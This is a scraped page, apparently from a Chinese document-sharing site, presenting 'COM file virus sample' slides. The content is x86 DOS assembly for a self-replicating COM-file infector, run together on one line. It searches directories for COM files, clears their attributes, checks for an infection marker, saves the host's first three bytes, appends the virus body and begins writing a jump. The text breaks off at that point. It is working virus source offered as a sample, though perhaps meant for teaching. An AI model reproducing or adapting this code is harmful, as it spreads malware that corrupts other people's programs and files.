com文件病毒样例.pptVIP

org 100h Start: call get_displacement Get_displacement: pop bp sub bp, offset get_displacement Save_path: mov ah,47h xor dl, dl lea si, [bp+org_path] int 21h get_dta: mov ah,2fh int 21h mov [bp+old_dta_off], bx set_dta: mov ah,1ah lea dx,[bp+dta_filler] int 21h Search: mov ah,4eh mov cx,[bp+search_attrib] lea dx,[bp+search_mask] int 21h jnc clear_attrib Find_next: mov ah,4fh int 21h jnc clear_attrib Still_searching: mov ah,3bh lea dx,[bp+previous_dir] int 21h jnc search jmp bomb Clear_attrib: mov ax,4301h xor cx,cx lea dx,[bp+dta_file_name] int 21h Open_file: mov ax,3D02h lea dx,[bp+dta_file_name] int 21h xchg bx,ax Check_if_host_com: mov ah, [bp+dta_file_name] cmp ah, [bp+host_com] jz check_if_infected jmp close_file Check_if_infected: mov dx, word ptr [bp+dta_file_size] sub dx,2 mov ax,4200h mov cx,0 int 21h mov ah,3fh mov cx,2 lea dx,[bp+last_chars] int 21h mov ah,[bp+last_chars] cmp ah,[bp+virus_id] jne save_3_bytes mov ah,[bp+last_chars+1] cmp ah,[bp+virus_id+1] jne save_3_bytes jmp close_file Save_3_bytes: mov ax,4200h xor cx,cx xor dx,dx int 21h mov ah,3fh mov cx,3 lea dx,[bp+_3_bytes] int 21h Goto_eof: mov ax,4202h xor cx,cx xor dx,dx int 21h Save_jmp_displacement: sub ax,3 mov [bp+jmp_disp],ax Write_code: mov ah,40h mov cx,virus_length lea dx,[bp+start] int 21h Goto_bof: mov ax,4200h xor cx,cx xor dx,dx int 21h Write_jmp: